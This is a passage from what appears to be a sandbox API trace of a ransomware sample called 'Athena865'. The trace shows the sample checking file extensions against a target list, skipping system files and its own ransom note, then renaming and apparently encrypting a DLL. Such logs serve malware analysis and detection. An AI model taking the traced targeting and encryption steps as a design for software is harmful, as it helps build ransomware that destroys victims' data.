lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0037.907] lstrlenW (lpString="dp1") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0037.907] lstrlenW (lpString="dqy") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0037.907] lstrlenW (lpString="dsk") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0037.907] lstrlenW (lpString="dsn") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0037.907] lstrlenW (lpString="dtsx") returned 4 [0037.907] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0037.907] lstrlenW (lpString="dxl") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0037.907] lstrlenW (lpString="eco") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0037.907] lstrlenW (lpString="ecx") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0037.907] lstrlenW (lpString="edb") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0037.907] lstrlenW (lpString="epim") returned 4 [0037.907] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0037.907] lstrlenW (lpString="fcd") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0037.907] lstrlenW (lpString="fdb") returned 3 [0037.907] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0037.907] lstrlenW (lpString="fic") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0037.908] lstrlenW (lpString="flexolibrary") returned 12 [0037.908] lstrlenW (lpString="fm5") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0037.908] lstrlenW (lpString="fmp") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0037.908] lstrlenW (lpString="fmp12") returned 5 [0037.908] lstrcmpiW (lpString1="i.dll", lpString2="fmp12") returned 1 [0037.908] lstrlenW (lpString="fmpsl") returned 5 [0037.908] lstrcmpiW (lpString1="i.dll", lpString2="fmpsl") returned 1 [0037.908] lstrlenW (lpString="fol") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0037.908] lstrlenW (lpString="fp3") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0037.908] lstrlenW (lpString="fp4") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0037.908] lstrlenW (lpString="fp5") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0037.908] lstrlenW (lpString="fp7") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0037.908] lstrlenW (lpString="fpt") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0037.908] lstrlenW (lpString="frm") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0037.908] lstrlenW (lpString="gdb") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0037.908] lstrlenW (lpString="gdb") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0037.908] lstrlenW (lpString="grdb") returned 4 [0037.908] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0037.908] lstrlenW (lpString="gwi") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0037.908] lstrlenW (lpString="hdb") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0037.908] lstrlenW (lpString="his") returned 3 [0037.908] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0037.908] lstrlenW (lpString="ib") returned 2 [0037.908] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0037.909] lstrlenW (lpString="idb") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0037.909] lstrlenW (lpString="ihx") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0037.909] lstrlenW (lpString="itdb") returned 4 [0037.909] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0037.909] lstrlenW (lpString="itw") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0037.909] lstrlenW (lpString="jet") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0037.909] lstrlenW (lpString="jtx") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0037.909] lstrlenW (lpString="kdb") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0037.909] lstrlenW (lpString="kexi") returned 4 [0037.909] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0037.909] lstrlenW (lpString="kexic") returned 5 [0037.909] lstrcmpiW (lpString1="i.dll", lpString2="kexic") returned -1 [0037.909] lstrlenW (lpString="kexis") returned 5 [0037.909] lstrcmpiW (lpString1="i.dll", lpString2="kexis") returned -1 [0037.909] lstrlenW (lpString="lgc") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0037.909] lstrlenW (lpString="lwx") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0037.909] lstrlenW (lpString="maf") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0037.909] lstrlenW (lpString="maq") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0037.909] lstrlenW (lpString="mar") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0037.909] lstrlenW (lpString="marshal") returned 7 [0037.909] lstrcmpiW (lpString1="api.dll", lpString2="marshal") returned -1 [0037.909] lstrlenW (lpString="mas") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0037.909] lstrlenW (lpString="mav") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0037.909] lstrlenW (lpString="maw") returned 3 [0037.909] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0037.909] lstrlenW (lpString="mdbhtml") returned 7 [0037.909] lstrcmpiW (lpString1="api.dll", lpString2="mdbhtml") returned -1 [0037.910] lstrlenW (lpString="mdn") returned 3 [0037.910] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0037.910] lstrlenW (lpString="mdt") returned 3 [0037.910] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0037.910] lstrlenW (lpString="mfd") returned 3 [0037.910] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0037.910] lstrlenW (lpString="mpd") returned 3 [0037.910] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0037.910] lstrlenW (lpString="mrg") returned 3 [0037.910] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0037.910] lstrlenW (lpString="mud") returned 3 [0037.910] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0037.910] lstrlenW (lpString="mwb") returned 3 [0037.917] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0037.917] lstrlenW (lpString="myd") returned 3 [0037.917] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0037.917] lstrlenW (lpString="ndf") returned 3 [0037.917] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0037.917] lstrlenW (lpString="nnt") returned 3 [0037.917] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0037.917] lstrlenW (lpString="nrmlib") returned 6 [0037.917] lstrcmpiW (lpString1="pi.dll", lpString2="nrmlib") returned 1 [0037.917] lstrlenW (lpString="ns2") returned 3 [0037.917] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0037.917] lstrlenW (lpString="ns3") returned 3 [0037.917] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0037.917] lstrlenW (lpString="ns4") returned 3 [0037.917] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0037.917] lstrlenW (lpString="nsf") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0037.918] lstrlenW (lpString="nv") returned 2 [0037.918] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0037.918] lstrlenW (lpString="nv2") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0037.918] lstrlenW (lpString="nwdb") returned 4 [0037.918] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0037.918] lstrlenW (lpString="nyf") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0037.918] lstrlenW (lpString="odb") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0037.918] lstrlenW (lpString="odb") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0037.918] lstrlenW (lpString="oqy") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0037.918] lstrlenW (lpString="ora") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0037.918] lstrlenW (lpString="orx") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0037.918] lstrlenW (lpString="owc") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0037.918] lstrlenW (lpString="p96") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0037.918] lstrlenW (lpString="p97") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0037.918] lstrlenW (lpString="pan") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0037.918] lstrlenW (lpString="pdb") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0037.918] lstrlenW (lpString="pdm") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0037.918] lstrlenW (lpString="pnz") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0037.918] lstrlenW (lpString="qry") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0037.918] lstrlenW (lpString="qvd") returned 3 [0037.918] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0037.919] lstrlenW (lpString="rbf") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0037.919] lstrlenW (lpString="rctd") returned 4 [0037.919] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0037.919] lstrlenW (lpString="rod") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0037.919] lstrlenW (lpString="rodx") returned 4 [0037.919] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0037.919] lstrlenW (lpString="rpd") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0037.919] lstrlenW (lpString="rsd") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0037.919] lstrlenW (lpString="sas7bdat") returned 8 [0037.919] lstrcmpiW (lpString1="mapi.dll", lpString2="sas7bdat") returned -1 [0037.919] lstrlenW (lpString="sbf") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0037.919] lstrlenW (lpString="scx") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0037.919] lstrlenW (lpString="sdb") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0037.919] lstrlenW (lpString="sdc") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0037.919] lstrlenW (lpString="sdf") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0037.919] lstrlenW (lpString="sis") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0037.919] lstrlenW (lpString="spq") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0037.919] lstrlenW (lpString="te") returned 2 [0037.919] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0037.919] lstrlenW (lpString="teacher") returned 7 [0037.919] lstrcmpiW (lpString1="api.dll", lpString2="teacher") returned -1 [0037.919] lstrlenW (lpString="tmd") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0037.919] lstrlenW (lpString="tps") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0037.919] lstrlenW (lpString="trc") returned 3 [0037.919] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0037.919] lstrlenW (lpString="trc") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0037.920] lstrlenW (lpString="trm") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0037.920] lstrlenW (lpString="udb") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0037.920] lstrlenW (lpString="udl") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0037.920] lstrlenW (lpString="usr") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0037.920] lstrlenW (lpString="v12") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0037.920] lstrlenW (lpString="vis") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0037.920] lstrlenW (lpString="vpd") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0037.920] lstrlenW (lpString="vvv") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0037.920] lstrlenW (lpString="wdb") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0037.920] lstrlenW (lpString="wmdb") returned 4 [0037.920] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0037.920] lstrlenW (lpString="wrk") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0037.920] lstrlenW (lpString="xdb") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0037.920] lstrlenW (lpString="xld") returned 3 [0037.920] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0037.920] lstrlenW (lpString="xmlff") returned 5 [0037.920] lstrcmpiW (lpString1="i.dll", lpString2="xmlff") returned -1 [0037.920] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\hmmapi.dll.Athena865") returned 55 [0037.920] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.athena865"), dwFlags=0x1) returned 1 [0037.923] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\hmmapi.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\hmmapi.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.923] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52736) returned 1 [0037.923] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.924] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.924] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.924] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.924] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd100, lpName=0x0) returned 0x154 [0037.926] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd100) returned 0x100000 [0037.929] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.929] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.929] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.929] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.930] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.930] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0037.930] CloseHandle (hObject=0x154) returned 1 [0037.930] CloseHandle (hObject=0x17c) returned 1 [0037.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.932] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3f3bc0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc3f3bc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0037.933] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0037.933] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9a30bbb, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0xb9a30bbb, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0xb9a30bbb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xa59, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ie8props.propdesc", cAlternateFileName="")) returned 1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".") returned 1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="..") returned 1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="windows") returned -1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="bootmgr") returned 1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="temp") returned -1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="pagefile.sys") returned -1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="boot") returned 1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="ids.txt") returned 1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="ntuser.dat") returned -1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="perflogs") returned -1 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2="MSBuild") returned -1 [0037.933] lstrlenW (lpString="ie8props.propdesc") returned 17 [0037.933] lstrcpyW (in: lpString1=0x241e88e, lpString2="ie8props.propdesc" | out: lpString1="ie8props.propdesc") returned="ie8props.propdesc" [0037.933] lstrlenW (lpString="ie8props.propdesc") returned 17 [0037.933] lstrlenW (lpString="Athena865") returned 9 [0037.933] lstrcmpiW (lpString1=".propdesc", lpString2="Athena865") returned -1 [0037.933] lstrlenW (lpString=".dll") returned 4 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".dll") returned 1 [0037.933] lstrlenW (lpString=".lnk") returned 4 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".lnk") returned 1 [0037.933] lstrlenW (lpString=".ini") returned 4 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".ini") returned 1 [0037.933] lstrlenW (lpString=".sys") returned 4 [0037.933] lstrcmpiW (lpString1="ie8props.propdesc", lpString2=".sys") returned 1 [0037.933] lstrlenW (lpString="ie8props.propdesc") returned 17 [0037.933] lstrlenW (lpString="bak") returned 3 [0037.933] lstrcmpiW (lpString1="esc", lpString2="bak") returned 1 [0037.933] lstrlenW (lpString="ba_") returned 3 [0037.933] lstrcmpiW (lpString1="esc", lpString2="ba_") returned 1 [0037.933] lstrlenW (lpString="dbb") returned 3 [0037.933] lstrcmpiW (lpString1="esc", lpString2="dbb") returned 1 [0037.933] lstrlenW (lpString="vmdk") returned 4 [0037.934] lstrcmpiW (lpString1="desc", lpString2="vmdk") returned -1 [0037.934] lstrlenW (lpString="rar") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="rar") returned -1 [0037.934] lstrlenW (lpString="zip") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="zip") returned -1 [0037.934] lstrlenW (lpString="tgz") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="tgz") returned -1 [0037.934] lstrlenW (lpString="vbox") returned 4 [0037.934] lstrcmpiW (lpString1="desc", lpString2="vbox") returned -1 [0037.934] lstrlenW (lpString="vdi") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="vdi") returned -1 [0037.934] lstrlenW (lpString="vhd") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="vhd") returned -1 [0037.934] lstrlenW (lpString="vhdx") returned 4 [0037.934] lstrcmpiW (lpString1="desc", lpString2="vhdx") returned -1 [0037.934] lstrlenW (lpString="avhd") returned 4 [0037.934] lstrcmpiW (lpString1="desc", lpString2="avhd") returned 1 [0037.934] lstrlenW (lpString="db") returned 2 [0037.934] lstrcmpiW (lpString1="sc", lpString2="db") returned 1 [0037.934] lstrlenW (lpString="db2") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="db2") returned 1 [0037.934] lstrlenW (lpString="db3") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="db3") returned 1 [0037.934] lstrlenW (lpString="dbf") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="dbf") returned 1 [0037.934] lstrlenW (lpString="mdf") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="mdf") returned -1 [0037.934] lstrlenW (lpString="mdb") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="mdb") returned -1 [0037.934] lstrlenW (lpString="sql") returned 3 [0037.934] lstrcmpiW (lpString1="esc", lpString2="sql") returned -1 [0037.934] lstrlenW (lpString="sqlite") returned 6 [0037.934] lstrcmpiW (lpString1="opdesc", lpString2="sqlite") returned -1 [0037.934] lstrlenW (lpString="sqlite3") returned 7 [0037.934] lstrcmpiW (lpString1="ropdesc", lpString2="sqlite3") returned -1 [0037.934] lstrlenW (lpString="sqlitedb") returned 8 [0037.934] lstrcmpiW (lpString1="propdesc", lpString2="sqlitedb") returned -1 [0037.935] lstrlenW (lpString="xml") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="xml") returned -1 [0037.935] lstrlenW (lpString="$er") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="$er") returned 1 [0037.935] lstrlenW (lpString="4dd") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="4dd") returned 1 [0037.935] lstrlenW (lpString="4dl") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="4dl") returned 1 [0037.935] lstrlenW (lpString="^^^") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="^^^") returned 1 [0037.935] lstrlenW (lpString="abs") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="abs") returned 1 [0037.935] lstrlenW (lpString="abx") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="abx") returned 1 [0037.935] lstrlenW (lpString="accdb") returned 5 [0037.935] lstrcmpiW (lpString1="pdesc", lpString2="accdb") returned 1 [0037.935] lstrlenW (lpString="accdc") returned 5 [0037.935] lstrcmpiW (lpString1="pdesc", lpString2="accdc") returned 1 [0037.935] lstrlenW (lpString="accde") returned 5 [0037.935] lstrcmpiW (lpString1="pdesc", lpString2="accde") returned 1 [0037.935] lstrlenW (lpString="accdr") returned 5 [0037.935] lstrcmpiW (lpString1="pdesc", lpString2="accdr") returned 1 [0037.935] lstrlenW (lpString="accdt") returned 5 [0037.935] lstrcmpiW (lpString1="pdesc", lpString2="accdt") returned 1 [0037.935] lstrlenW (lpString="accdw") returned 5 [0037.935] lstrcmpiW (lpString1="pdesc", lpString2="accdw") returned 1 [0037.935] lstrlenW (lpString="accft") returned 5 [0037.935] lstrcmpiW (lpString1="pdesc", lpString2="accft") returned 1 [0037.935] lstrlenW (lpString="adb") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="adb") returned 1 [0037.935] lstrlenW (lpString="adb") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="adb") returned 1 [0037.935] lstrlenW (lpString="ade") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="ade") returned 1 [0037.935] lstrlenW (lpString="adf") returned 3 [0037.935] lstrcmpiW (lpString1="esc", lpString2="adf") returned 1 [0037.935] lstrlenW (lpString="adn") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="adn") returned 1 [0037.936] lstrlenW (lpString="adp") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="adp") returned 1 [0037.936] lstrlenW (lpString="alf") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="alf") returned 1 [0037.936] lstrlenW (lpString="ask") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="ask") returned 1 [0037.936] lstrlenW (lpString="btr") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="btr") returned 1 [0037.936] lstrlenW (lpString="cat") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="cat") returned 1 [0037.936] lstrlenW (lpString="cdb") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="cdb") returned 1 [0037.936] lstrlenW (lpString="ckp") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="ckp") returned 1 [0037.936] lstrlenW (lpString="cma") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="cma") returned 1 [0037.936] lstrlenW (lpString="cpd") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="cpd") returned 1 [0037.936] lstrlenW (lpString="dacpac") returned 6 [0037.936] lstrcmpiW (lpString1="opdesc", lpString2="dacpac") returned 1 [0037.936] lstrlenW (lpString="dad") returned 3 [0037.936] lstrcmpiW (lpString1="esc", lpString2="dad") returned 1 [0037.936] lstrlenW (lpString="dadiagrams") returned 10 [0037.936] lstrcmpiW (lpString1="s.propdesc", lpString2="dadiagrams") returned 1 [0037.936] lstrlenW (lpString="daschema") returned 8 [0037.936] lstrcmpiW (lpString1="propdesc", lpString2="daschema") returned 1 [0037.936] lstrlenW (lpString="db-journal") returned 10 [0037.936] lstrcmpiW (lpString1="s.propdesc", 